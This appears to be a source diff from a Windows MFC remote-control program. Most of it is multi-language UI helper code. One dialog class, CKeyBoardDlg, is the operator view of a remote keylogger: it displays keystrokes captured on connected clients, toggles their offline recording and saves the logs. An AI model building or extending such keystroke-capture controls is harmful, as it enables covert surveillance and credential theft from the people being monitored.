m_ComboInput.GetWindowText(m_str);
SaveHistory();
__super::OnOK();
}

View File

@@ -0,0 +1,57 @@
#pragma once
#include "resource.h"
#include "LangManager.h"
// CInputDialog 对话框
class CInputDialog : public CDialogLangEx
{
DECLARE_DYNAMIC(CInputDialog)
public:
CInputDialog(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CInputDialog();
BOOL Init(LPCTSTR caption, LPCTSTR prompt);
void Init2(LPCTSTR name, LPCTSTR defaultValue);
void Init3(LPCTSTR name, LPCTSTR defaultValue); // 第三个输入框
void SetHistoryKey(LPCTSTR historyKey); // 设置历史记录的配置键名
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_INPUT };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
HICON m_hIcon;
CString m_sCaption;
CString m_sPrompt;
CString m_sHistoryKey; // 历史记录键名
CComboBox m_ComboInput; // 主输入框 (ComboBox)
void LoadHistory(); // 从配置加载历史到下拉列表
void SaveHistory(); // 保存当前输入到历史
public:
CString m_str;
virtual BOOL OnInitDialog();
afx_msg void OnBnClickedOk();
CStatic m_Static2thInput;
CEdit m_Edit2thInput;
CString m_sItemName;
CString m_sSecondInput;
CStatic m_Static3rdInput;
CEdit m_Edit3rdInput;
CString m_sItemName3;
CString m_sThirdInput;
CStatic m_StaticTipInfo;
CString m_sTipInfo;
};
typedef CInputDialog CInputDlg;

View File

@@ -0,0 +1,207 @@
// KeyBoardDlg.cpp : implementation file
//
#include "stdafx.h"
#include <WinUser.h>
#include "KeyBoardDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#define IDM_ENABLE_OFFLINE 0x0010
#define IDM_CLEAR_RECORD 0x0011
#define IDM_SAVE_RECORD 0x0012
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg dialog
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
{
m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1];
}
void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CKeyBoardDlg)
DDX_Control(pDX, IDC_EDIT, m_edit);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
//{{AFX_MSG_MAP(CKeyBoardDlg)
ON_WM_SIZE()
ON_WM_CLOSE()
ON_WM_SYSCOMMAND()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg message handlers
void CKeyBoardDlg::PostNcDestroy()
{
// TODO: Add your specialized code here and/or call the base class
__super::PostNcDestroy();
}
BOOL CKeyBoardDlg::OnInitDialog()
{
__super::OnInitDialog();
// TODO: Add extra initialization here
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL) {
//pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND);
pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
pSysMenu->AppendMenuL(MF_STRING, IDM_ENABLE_OFFLINE, "离线记录(&O)");
pSysMenu->AppendMenuL(MF_STRING, IDM_CLEAR_RECORD, "清空记录(&C)");
pSysMenu->AppendMenuL(MF_STRING, IDM_SAVE_RECORD, "保存记录(&S)");
if (m_bIsOfflineRecord)
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
}
UpdateTitle();
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CKeyBoardDlg::UpdateTitle()
{
CString str;
str.FormatL("%s - 键盘记录", m_IPAddress);
if (m_bIsOfflineRecord)
str += _TR(" (离线记录已开启)");
else
str += _TR(" (离线记录未开启)");
SetWindowText(str);
}
void CKeyBoardDlg::OnReceiveComplete()
{
switch (m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0]) {
case TOKEN_KEYBOARD_DATA:
AddKeyBoardData();
break;
default:
return;
}
}
void CKeyBoardDlg::AddKeyBoardData()
{
// 最后填上0
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
int len = m_edit.GetWindowTextLength();
m_edit.SetSel(len, len);
m_edit.ReplaceSel((TCHAR *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
}
bool CKeyBoardDlg::SaveRecord()
{
CString strFileName = m_IPAddress + CTime::GetCurrentTime().FormatL("_%Y-%m-%d_%H-%M-%S.txt");
CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, _T("TXT(*.txt)|*.txt|"), this);
if(dlg.DoModal () != IDOK)
return false;
CFile file;
if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
CString msg;
msg.FormatL("文件保存失败: %s", dlg.GetPathName().GetString());
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
return false;
}
// Write the DIB header and the bits
CString strRecord;
m_edit.GetWindowText(strRecord);
file.Write(strRecord, strRecord.GetLength());
file.Close();
return true;
}
void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if (nID == IDM_ENABLE_OFFLINE) {
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL) {
m_bIsOfflineRecord = !m_bIsOfflineRecord;
BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
if (m_bIsOfflineRecord)
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
else
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED);
}
UpdateTitle();
} else if (nID == IDM_CLEAR_RECORD) {
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
m_ContextObject->Send2Client(&bToken, 1);
m_edit.SetWindowText("");
} else if (nID == IDM_SAVE_RECORD) {
SaveRecord();
} else {
__super::OnSysCommand(nID, lParam);
}
}
void CKeyBoardDlg::ResizeEdit()
{
RECT rectClient;
RECT rectEdit;
GetClientRect(&rectClient);
rectEdit.left = 0;
rectEdit.top = 0;
rectEdit.right = rectClient.right;
rectEdit.bottom = rectClient.bottom;
m_edit.MoveWindow(&rectEdit);
}
void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
{
__super::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
if (IsWindowVisible())
ResizeEdit();
}
BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: Add your specialized code here and/or call the base class
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)) {
return true;
}
return __super::PreTranslateMessage(pMsg);
}
void CKeyBoardDlg::OnClose()
{
CancelIO();
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
DialogBase::OnClose();
}

View File

@@ -0,0 +1,62 @@
#if !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_)
#define AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_
#include "Resource.h"
#include "IOCPServer.h"
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// KeyBoardDlg.h : header file
//
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg dialog
class CKeyBoardDlg : public DialogBase
{
// Construction
public:
void OnReceiveComplete();
CKeyBoardDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CKeyBoardDlg)
enum { IDD = IDD_DLG_KEYBOARD };
CEdit m_edit;
//}}AFX_DATA
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CKeyBoardDlg)
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
virtual void PostNcDestroy();
//}}AFX_VIRTUAL
// Implementation
protected:
bool m_bIsOfflineRecord;
void AddKeyBoardData();
void UpdateTitle();
void ResizeEdit();
bool SaveRecord();
// Generated message map functions
//{{AFX_MSG(CKeyBoardDlg)
virtual BOOL OnInitDialog();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnClose();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_)

View File

@@ -0,0 +1,746 @@
#pragma once
#include <map>
#include <string>
#include <vector>
#include <locale.h>
#include <afxwin.h>
#include "common/IniParser.h"
// 设置线程区域为简体中文
// 这样 MBCS 程序在非中文系统上创建对话框时,也能正确解码 RC 资源中的 GBK 中文
// 必须在任何对话框创建之前调用!
inline void SetChineseThreadLocale()
{
// 设置线程区域为简体中文 (LCID = 2052 = 0x0804)
// LANG_CHINESE (0x04) + SUBLANG_CHINESE_SIMPLIFIED (0x02) = 0x0804
LCID lcidChinese = MAKELCID(MAKELANGID(LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED), SORT_DEFAULT);
SetThreadLocale(lcidChinese);
// 同时设置 C 运行时库的区域(用于 mbstowcs 等函数)
setlocale(LC_ALL, ".936"); // GBK 代码页
}
// 语言管理类 - 支持多语言切换
class CLangManager
{
private:
std::map<CString, CString> m_strings; // 中文 -> 目标语言
CString m_currentLang; // 当前语言代码
CString m_langDir; // 语言文件目录
CLangManager() {}
CLangManager(const CLangManager&) = delete;
CLangManager& operator=(const CLangManager&) = delete;
public:
static CLangManager& Instance()
{
static CLangManager instance;
return instance;
}
// 初始化语言目录
void Init(const CString& langDir = _T(""))
{
if (langDir.IsEmpty()) {
// 默认使用 exe 所在目录下的 lang 文件夹
TCHAR path[MAX_PATH];
GetModuleFileName(NULL, path, MAX_PATH);
CString exePath(path);
int pos = exePath.ReverseFind(_T('\\'));
if (pos > 0) {
m_langDir = exePath.Left(pos) + _T("\\lang");
}
} else {
m_langDir = langDir;
}
// 确保目录存在
CreateDirectory(m_langDir, NULL);
}
// 获取可用的语言列表
std::vector<CString> GetAvailableLanguages()
{
std::vector<CString> langs;
CString searchPath = m_langDir + _T("\\*.ini");
WIN32_FIND_DATA fd;
HANDLE hFind = FindFirstFile(searchPath, &fd);
if (hFind != INVALID_HANDLE_VALUE) {
do {
CString filename(fd.cFileName);
int dotPos = filename.ReverseFind(_T('.'));
if (dotPos > 0) {
langs.push_back(filename.Left(dotPos));
}
} while (FindNextFile(hFind, &fd));
FindClose(hFind);
}
return langs;
}
// 检查语言文件编码是否为 ANSI
// 返回 false 表示文件不存在或编码不是 ANSI检测 BOM 和 UTF-8 无 BOM
bool CheckEncoding(const CString& langCode)
{
if (langCode == _T("zh_CN") || langCode.IsEmpty()) {
TRACE("[LangEnc] zh_CN or empty, skip check\n");
return true;
}
CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
TRACE("[LangEnc] Checking: %s\n", (LPCSTR)langFile);
FILE* f = nullptr;
if (fopen_s(&f, (LPCSTR)langFile, "rb") != 0 || !f) {
TRACE("[LangEnc] fopen failed\n");
return false;
}
// 读取文件内容(最多检测前 4KB 即可判断)
unsigned char buf[4096];
size_t n = fread(buf, 1, sizeof(buf), f);
fclose(f);
TRACE("[LangEnc] Read %zu bytes\n", n);
if (n == 0) return false;
// 检测 BOM
if (n >= 3 && buf[0] == 0xEF && buf[1] == 0xBB && buf[2] == 0xBF) {
TRACE("[LangEnc] Detected UTF-8 BOM\n");
return false;
}
if (n >= 2 && buf[0] == 0xFF && buf[1] == 0xFE) {
TRACE("[LangEnc] Detected UTF-16 LE BOM\n");
return false;
}
if (n >= 2 && buf[0] == 0xFE && buf[1] == 0xFF) {
TRACE("[LangEnc] Detected UTF-16 BE BOM\n");
return false;
}
// 检测 UTF-8 无 BOM扫描是否存在合法的 UTF-8 多字节序列
// 中文 UTF-8 为 3 字节 (E0-EF + 80-BF + 80-BF)
// GBK 为 2 字节 (81-FE + 40-FE),字节模式不同
int utf8SeqCount = 0;
for (size_t i = 0; i < n; ) {
unsigned char c = buf[i];
if (c < 0x80) {
i++;
} else if ((c & 0xE0) == 0xC0 && i + 1 < n
&& (buf[i+1] & 0xC0) == 0x80) {
utf8SeqCount++; // 2 字节 UTF-8
i += 2;
} else if ((c & 0xF0) == 0xE0 && i + 2 < n
&& (buf[i+1] & 0xC0) == 0x80
&& (buf[i+2] & 0xC0) == 0x80) {
utf8SeqCount++; // 3 字节 UTF-8中文
i += 3;
} else if ((c & 0xF8) == 0xF0 && i + 3 < n
&& (buf[i+1] & 0xC0) == 0x80
&& (buf[i+2] & 0xC0) == 0x80
&& (buf[i+3] & 0xC0) == 0x80) {
utf8SeqCount++; // 4 字节 UTF-8
i += 4;
} else {
// 高字节不符合 UTF-8 规则
// 但如果在缓冲区末尾,可能是多字节序列被截断,不应误判
if (i + 3 >= n && c >= 0xC0) {
TRACE("[LangEnc] Truncated at offset %zu: 0x%02X, skip\n", i, c);
break; // 缓冲区尾部截断,跳出循环按已有结果判断
}
// 确实是 ANSI/GBK
TRACE("[LangEnc] GBK byte at offset %zu: 0x%02X → ANSI\n", i, c);
return true;
}
}
TRACE("[LangEnc] utf8SeqCount=%d → %s\n", utf8SeqCount,
utf8SeqCount > 0 ? "UTF-8 (not ANSI)" : "pure ASCII (ANSI)");
// 存在多字节序列且全部符合 UTF-8 规则 → 判定为 UTF-8
return (utf8SeqCount == 0);
}
// 加载语言文件
bool Load(const CString& langCode)
{
m_strings.clear();
m_currentLang = langCode;
// 如果是中文,不需要加载翻译
if (langCode == _T("zh_CN") || langCode.IsEmpty()) {
return true;
}
CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
// 检查文件是否存在
if (GetFileAttributes(langFile) == INVALID_FILE_ATTRIBUTES) {
return false;
}
// 使用 CIniParser 解析,无文件大小限制,且不 trim key
CIniParser ini;
if (!ini.LoadFile((LPCSTR)langFile)) {
return false;
}
const CIniParser::TKeyVal* pSection = ini.GetSection("Strings");
if (pSection) {
for (const auto& kv : *pSection) {
m_strings[CString(kv.first.c_str())] = CString(kv.second.c_str());
}
}
return true;
}
// 获取翻译字符串
// key: 中文原文
// 返回: 翻译后的文本,如果没有翻译则返回原文
CString Get(const CString& key)
{
if (m_currentLang == _T("zh_CN") || m_currentLang.IsEmpty()) {
return key; // 中文直接返回
}
auto it = m_strings.find(key);
if (it != m_strings.end()) {
return it->second;
}
return key; // 没有翻译则返回原文
}
// 获取翻译字符串 (std::string 版本)
std::string Get(const std::string& key)
{
CString result = Get(CString(key.c_str()));
CT2A ansi(result);
return std::string(ansi);
}
// 获取当前语言
CString GetCurrentLanguage() const
{
return m_currentLang;
}
// 是否为中文模式(无需翻译)
bool IsChinese() const
{
return m_currentLang.IsEmpty() || m_currentLang == _T("zh_CN");
}
// 获取可用语言数量(包括内置的简体中文)
// 返回 1 表示只有简体中文,无其他语言文件
size_t GetLanguageCount()
{
auto langs = GetAvailableLanguages();
// 检查是否有 zh_CN.ini 文件
bool hasZhCN = false;
for (const auto& lang : langs) {
if (lang == _T("zh_CN")) {
hasZhCN = true;
break;
}
}
// 简体中文始终存在,若 zh_CN.ini 不存在则额外 +1
return hasZhCN ? langs.size() : langs.size() + 1;
}
};
// 全局访问宏
#define g_Lang CLangManager::Instance()
// 翻译宏 - 用于代码中的字符串字面量
// 用法: _TR("中文字符串")
#define _TR(str) g_Lang.Get(CString(_T(str)))
// 翻译宏 - 用于格式化函数 (sprintf_s, _stprintf_s 等可变参数函数)
// 用法: _stprintf_s(buf, _TRF("连接 %s 失败"), ip);
#define _TRF(str) ((LPCTSTR)_TR(str))
// 翻译函数 - 用于 CString 变量或 LPCTSTR
// 用法: _L(strVar) 或 _L(_T("中文"))
inline CString _L(const CString& str)
{
return g_Lang.Get(str);
}
inline CString _L(LPCTSTR str)
{
return g_Lang.Get(CString(str));
}
// 翻译宏 - 用于格式化函数中的变量 (返回 LPCTSTR)
// 用法: _stprintf_s(buf, _LF(strVar), arg);
// 注意: 必须是宏,函数版本会导致悬空指针
#define _LF(str) ((LPCTSTR)_L(str))
// CString::Format 的多语言版本 (用于全局替换 .FormatL)
// 用法: str.FormatLL("连接 %s 失败", ip);
// 展开: str.FormatL(_TR("连接 %s 失败"), ip);
// 注意: 不需要翻译的字符串也可以用,找不到翻译会返回原文
#define FormatL(fmt, ...) Format(_TR(fmt), __VA_ARGS__)
// ============================================
// 带自动翻译的 MFC 函数宏 (L 后缀 = Language)
// ============================================
// MessageBox 系列
// MFC 成员函数版本 (CWnd::MessageBox)
#define MessageBoxL(text, caption, type) \
MessageBox(_TR(text), _TR(caption), type)
// 全局 API 版本 (::MessageBox / ::MessageBoxA / ::MessageBoxW)
#define MessageBoxAPI_L(hwnd, text, caption, type) \
::MessageBox(hwnd, _TR(text), _TR(caption), type)
// 简写hwnd 为 NULL 时
#define MsgBoxL(text, caption, type) \
::MessageBox(NULL, _TR(text), _TR(caption), type)
#define AfxMessageBoxL(text, type) \
AfxMessageBox(_TR(text), type)
// SetWindowText / SetDlgItemText
#define SetWindowTextL(text) \
SetWindowText(_TR(text))
#define SetDlgItemTextL(id, text) \
SetDlgItemText(id, _TR(text))
// 列表控件
#define InsertColumnL(index, text, format, width) \
InsertColumn(index, _TR(text), format, width)
#define InsertItemL(index, text) \
InsertItem(index, _TR(text))
#define SetItemTextL(item, subitem, text) \
SetItemText(item, subitem, _TR(text))
// ComboBox / ListBox
#define AddStringL(text) \
AddString(_TR(text))
#define InsertStringL(index, text) \
InsertString(index, _TR(text))
// Tab 控件
#define InsertTabItemL(index, text) \
InsertItem(index, _TR(text))
// 状态栏
#define SetPaneTextL(index, text) \
SetPaneText(index, _TR(text))
// 菜单
#define AppendMenuL(flags, id, text) \
AppendMenu(flags, id, _TR(text))
#define AppendMenuSeparator(p) \
AppendMenu(p)
#define InsertMenuL(pos, flags, id, text) \
InsertMenu(pos, flags, id, _TR(text))
#define ModifyMenuL(pos, flags, id, text) \
ModifyMenu(pos, flags, id, _TR(text))
// 翻译对话框所有控件
inline void TranslateDialog(CWnd* pWnd)
{
if (g_Lang.IsChinese()) {
return; // 中文模式不需要翻译
}
if (!pWnd || !pWnd->GetSafeHwnd()) {
return;
}
// 翻译对话框标题
CString title;
pWnd->GetWindowText(title);
if (!title.IsEmpty()) {
CString newTitle = g_Lang.Get(title);
if (newTitle != title) {
pWnd->SetWindowText(newTitle);
}
}
// 遍历所有子控件
CWnd* pChild = pWnd->GetWindow(GW_CHILD);
while (pChild) {
// 获取控件文本
CString text;
pChild->GetWindowText(text);
if (!text.IsEmpty()) {
CString newText = g_Lang.Get(text);
if (newText != text) {
pChild->SetWindowText(newText);
}
}
// 如果是菜单按钮或有子菜单,也需要处理
// 递归处理子窗口(如 GroupBox 内的控件)
if (pChild->GetWindow(GW_CHILD)) {
TranslateDialog(pChild);
}
pChild = pChild->GetNextWindow();
}
}
// 使用 Unicode API 获取菜单字符串,然后转换为 GBK 用于翻译查找
inline CString GetMenuStringAsGBK(HMENU hMenu, UINT uIDItem, UINT flags)
{
// 获取菜单字符串长度
int len = ::GetMenuStringW(hMenu, uIDItem, NULL, 0, flags);
if (len <= 0) return CString();
CStringW wstr;
::GetMenuStringW(hMenu, uIDItem, wstr.GetBufferSetLength(len + 1), len + 1, flags);
wstr.ReleaseBuffer();
if (wstr.IsEmpty()) return CString();
// 将 Unicode 转换为 GBK (代码页 936)
int mbLen = WideCharToMultiByte(936, 0, wstr, -1, NULL, 0, NULL, NULL);
if (mbLen <= 0) return CString();
CString result;
WideCharToMultiByte(936, 0, wstr, -1, result.GetBufferSetLength(mbLen), mbLen, NULL, NULL);
result.ReleaseBuffer();
return result;
}
// 翻译菜单
inline void TranslateMenu(CMenu* pMenu)
{
if (!pMenu || !pMenu->GetSafeHmenu() || g_Lang.IsChinese()) {
return;
}
UINT count = pMenu->GetMenuItemCount();
for (UINT i = 0; i < count; i++) {
// 使用 Unicode API 获取菜单文本,转换为 GBK 用于查找
CString text = GetMenuStringAsGBK(pMenu->GetSafeHmenu(), i, MF_BYPOSITION);
if (!text.IsEmpty()) {
CString newText = g_Lang.Get(text);
if (newText != text) {
// 保留快捷键部分 (Tab 后的内容,如 Ctrl+S)
int tabPos = text.Find(_T('\t'));
if (tabPos > 0) {
CString shortcut = text.Mid(tabPos);
int newTabPos = newText.Find(_T('\t'));
if (newTabPos < 0) {
newText += shortcut;
}
}
// 检查是否是弹出菜单(有子菜单)
CMenu* pSubMenu = pMenu->GetSubMenu(i);
if (pSubMenu) {
// 弹出菜单使用 MF_POPUP
pMenu->ModifyMenu(i, MF_BYPOSITION | MF_POPUP | MF_STRING,
(UINT_PTR)pSubMenu->GetSafeHmenu(), newText);
} else {
// 普通菜单项
pMenu->ModifyMenu(i, MF_BYPOSITION | MF_STRING,
pMenu->GetMenuItemID(i), newText);
}
}
}
// 递归处理子菜单
CMenu* pSubMenu = pMenu->GetSubMenu(i);
if (pSubMenu) {
TranslateMenu(pSubMenu);
}
}
}
// 加载菜单并翻译 (用于 LoadMenu 动态加载菜单后自动翻译)
inline BOOL LoadMenuL(CMenu& menu, UINT nIDResource)
{
if (!menu.LoadMenu(nIDResource)) return FALSE;
TranslateMenu(&menu);
return TRUE;
}
inline BOOL LoadMenuL(CMenu* pMenu, UINT nIDResource)
{
if (!pMenu || !pMenu->LoadMenu(nIDResource)) return FALSE;
TranslateMenu(pMenu);
return TRUE;
}
// 翻译列表控件表头
inline void TranslateListHeader(CListCtrl* pList)
{
if (!pList || g_Lang.IsChinese()) {
return;
}
CHeaderCtrl* pHeader = pList->GetHeaderCtrl();
if (!pHeader) {
return;
}
int count = pHeader->GetItemCount();
for (int i = 0; i < count; i++) {
// 使用 Unicode API 获取表头文本
HDITEMW hdiW;
WCHAR wtext[256] = { 0 };
hdiW.mask = HDI_TEXT;
hdiW.pszText = wtext;
hdiW.cchTextMax = 256;
if (::SendMessageW(pHeader->GetSafeHwnd(), HDM_GETITEMW, i, (LPARAM)&hdiW)) {
// 将 Unicode 转换为 GBK 用于翻译查找
CString text;
int mbLen = WideCharToMultiByte(936, 0, wtext, -1, NULL, 0, NULL, NULL);
if (mbLen > 0) {
WideCharToMultiByte(936, 0, wtext, -1, text.GetBufferSetLength(mbLen), mbLen, NULL, NULL);
text.ReleaseBuffer();
}
if (!text.IsEmpty()) {
CString newText = g_Lang.Get(text);
if (newText != text) {
// 设置翻译后的文本
HDITEM hdi;
hdi.mask = HDI_TEXT;
hdi.pszText = (LPTSTR)(LPCTSTR)newText;
pHeader->SetItem(i, &hdi);
}
}
}
}
}
// 支持多语言的对话框基类 (基于 CDialog)
// 用法: 将 class CMyDlg : public CDialog 改为 class CMyDlg : public CDialogLang
class CDialogLang : public CDialog
{
public:
CDialogLang() {}
CDialogLang(UINT nIDTemplate, CWnd* pParent = NULL)
: CDialog(nIDTemplate, pParent) {}
CDialogLang(LPCTSTR lpszTemplateName, CWnd* pParent = NULL)
: CDialog(lpszTemplateName, pParent) {}
protected:
virtual BOOL OnInitDialog() override
{
BOOL ret = __super::OnInitDialog();
TranslateDialog(this);
TranslateMenu(GetMenu()); // 自动翻译菜单
return ret;
}
};
// 支持多语言的对话框基类 (基于 CDialogEx)
// 用法: 将 class CMyDlg : public CDialogEx 改为 class CMyDlg : public CDialogLangEx
class CDialogLangEx : public CDialogEx
{
public:
CDialogLangEx(UINT nIDTemplate, CWnd* pParent = NULL)
: CDialogEx(nIDTemplate, pParent) {}
CDialogLangEx(LPCTSTR lpszTemplateName, CWnd* pParent = NULL)
: CDialogEx(lpszTemplateName, pParent) {}
protected:
virtual BOOL OnInitDialog() override
{
BOOL ret = __super::OnInitDialog();
TranslateDialog(this);
TranslateMenu(GetMenu()); // 自动翻译菜单
return ret;
}
};
// ============================================
// 语言选择对话框(动态创建,无需 RC 资源)
// ============================================
class CLangSelectDlg : public CDialog
{
public:
CString m_strSelectedLang;
CComboBox m_comboLang;
CLangSelectDlg(CWnd* pParent = NULL) : CDialog(), m_pParent(pParent) {}
virtual INT_PTR DoModal() override
{
InitModalIndirect(CreateDialogTemplate(), m_pParent);
return CDialog::DoModal();
}
// 静态方法:显示对话框并返回选择的语言代码
// 返回空字符串表示用户取消
static CString Show(CWnd* pParent = NULL)
{
CLangSelectDlg dlg(pParent);
if (dlg.DoModal() == IDOK) {
return dlg.m_strSelectedLang;
}
return _T("");
}
protected:
CWnd* m_pParent;
std::vector<BYTE> m_templateBuffer;
std::vector<CString> m_langCodes;
// 语言代码到显示名称的映射
static CString GetLanguageDisplayName(const CString& langCode)
{
if (langCode == _T("zh_CN")) return _T("Simplified Chinese");
if (langCode == _T("zh_TW")) return _T("Traditional Chinese");
if (langCode == _T("en_US")) return _T("English");
return langCode;
}
LPCDLGTEMPLATE CreateDialogTemplate()
{
const WORD DLG_WIDTH = 200;
const WORD DLG_HEIGHT = 75;
m_templateBuffer.clear();
DLGTEMPLATE dlgTemplate = { 0 };
dlgTemplate.style = DS_MODALFRAME | DS_CENTER | WS_POPUP | WS_CAPTION | WS_SYSMENU;
dlgTemplate.cdit = 4;
dlgTemplate.cx = DLG_WIDTH;
dlgTemplate.cy = DLG_HEIGHT;
AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
AppendWord(0); // 菜单
AppendWord(0); // 窗口类
AppendString(_T("选择语言 / Select Language"));
AlignToDword();
// 静态文本
AddControl(0x0082, 15, 15, 40, 12, (WORD)-1,
SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:"));
// ComboBox
AddControl(0x0085, 55, 13, 130, 150, 1001,
CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T(""));
// 确定按钮
AddControl(0x0080, 45, 50, 50, 14, IDOK,
BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("确定"));
// 取消按钮
AddControl(0x0080, 105, 50, 50, 14, IDCANCEL,
BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("取消"));
return (LPCDLGTEMPLATE)m_templateBuffer.data();
}
void AppendData(const void* data, size_t size)
{
const BYTE* p = (const BYTE*)data;
m_templateBuffer.insert(m_templateBuffer.end(), p, p + size);
}
void AppendWord(WORD w)
{
AppendData(&w, sizeof(WORD));
}
void AppendString(LPCTSTR str)
{
#ifdef UNICODE
AppendData(str, (_tcslen(str) + 1) * sizeof(WCHAR));
#else
int len = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);
std::vector<WCHAR> wstr(len);
MultiByteToWideChar(CP_ACP, 0, str, -1, wstr.data(), len);
AppendData(wstr.data(), len * sizeof(WCHAR));
#endif
}
void AlignToDword()
{
while (m_templateBuffer.size() % 4 != 0)
m_templateBuffer.push_back(0);
}
void AddControl(WORD classAtom, short x, short y, short cx, short cy,
WORD id, DWORD style, LPCTSTR text)
{
AlignToDword();
DLGITEMTEMPLATE item = { 0 };
item.style = style;
item.x = x;
item.y = y;
item.cx = cx;
item.cy = cy;
item.id = id;
AppendData(&item, sizeof(DLGITEMTEMPLATE));
AppendWord(0xFFFF);
AppendWord(classAtom);
AppendString(text);
AppendWord(0);
}
virtual BOOL OnInitDialog() override
{
CDialog::OnInitDialog();
// 翻译对话框控件(标题、标签、按钮)
TranslateDialog(this);
m_comboLang.SubclassDlgItem(1001, this);
// 添加简体中文
int idx = m_comboLang.AddString(_T("简体中文"));
m_langCodes.push_back(_T("zh_CN"));
m_comboLang.SetItemData(idx, 0);
// 添加其他语言
auto langs = g_Lang.GetAvailableLanguages();
for (const auto& lang : langs) {
if (lang == _T("zh_CN")) continue;
CString displayName = GetLanguageDisplayName(lang);
idx = m_comboLang.AddString(displayName);
m_comboLang.SetItemData(idx, m_langCodes.size());
m_langCodes.push_back(lang);
}
// 选中当前语言
CString currentLang = g_Lang.GetCurrentLanguage();
if (currentLang.IsEmpty()) currentLang = _T("zh_CN");
for (size_t i = 0; i < m_langCodes.size(); i++) {
if (m_langCodes[i] == currentLang) {
m_comboLang.SetCurSel((int)i);
break;
}
}
CenterWindow();
return TRUE;
}
virtual void OnOK() override
{
int sel = m_comboLang.GetCurSel();
if (sel >= 0) {
size_t idx = (size_t)m_comboLang.GetItemData(sel);
if (idx < m_langCodes.size()) {
m_strSelectedLang = m_langCodes[idx];
}
}
CDialog::OnOK();
}
};

View File

@@ -0,0 +1,304 @@
#include "stdafx.h"
#include "resource.h"
#include "2015Remote.h"
#include "LicenseFile.h"
#include "pwd_gen.h"
#include "2015RemoteDlg.h"
#include "CPasswordDlg.h"
#include "LangManager.h"
#include "jsoncpp/json.h"
#include <fstream>
#include <sstream>
#include <ctime>
#include <cctype>
#include <cstdio>
#include <memory>
#ifndef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
#endif
#else
#ifdef _DEBUG
